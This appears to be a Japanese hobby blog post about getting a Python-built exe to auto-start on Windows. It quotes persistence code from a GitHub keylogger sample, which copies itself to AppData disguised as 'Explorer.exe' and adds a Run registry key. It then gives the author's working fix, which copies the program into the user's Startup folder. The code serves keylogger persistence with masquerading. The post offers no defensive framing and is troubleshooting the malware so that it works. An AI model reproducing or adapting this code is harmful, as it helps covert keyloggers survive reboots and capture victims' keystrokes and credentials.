五次方程式の超冪根による解法

趣味ブログ

カセットテープを分解して回路の仕組みとか

好きなこと ひたすらのっける

pythonで作ったexeファイルを 自動実行するために

githubにあるpythonで書かれてたキーロガーのサンプルコードの記述が、
sys.excutableで自分自身をコピーファイル関数でAppDataフォルダにコピーした後、自動実行レジストリに書き込むコードだったんですが全然動きませんでした。


def add_registry(self):
# Write the program to registry so that it runs with startup
# Copy keylogger to Appdata folder
keylogger_location = os.environ["appdata"] + "\\Explorer.exe" #Appdataファイルを指定
if not os.path.exists(keylogger_location):
shutil.copyfile(sys.executable, keylogger_location) #自身をAppdataにコピー
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v explorer /t REG_SZ /d "' + keylogger_location + '"', shell=True) #自動実行するレジストリに登録


いろいろやってみて
pythonで作ったexeファイルを再起動時に自動実行するにはスタートアッププログラムに自身をコピーするだけで動いてくれくれました。
desktop_path = (os.path.dirname(os.path.abspath(sys.argv[0])) + "\exeの名前.exe")
keylogger_location = (os.path.expanduser('~')) + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\名前.exe"
if not os.path.exists(keylogger_location):
shutil.copyfile(desktop_path, keylogger_location)


# (os.path.dirname(os.path.abspath(sys.argv[0]))は自身のファイルの場所を呼び出せる
#(os.path.expanduser('~'))は カーレントユーザーの名前を呼んできて、あとはスタートアップにそれをcopyfileでコピー
# if not os.path.exists(keylogger_location):exeファイルがスタートアッププログラムになければ、自身をコピーする。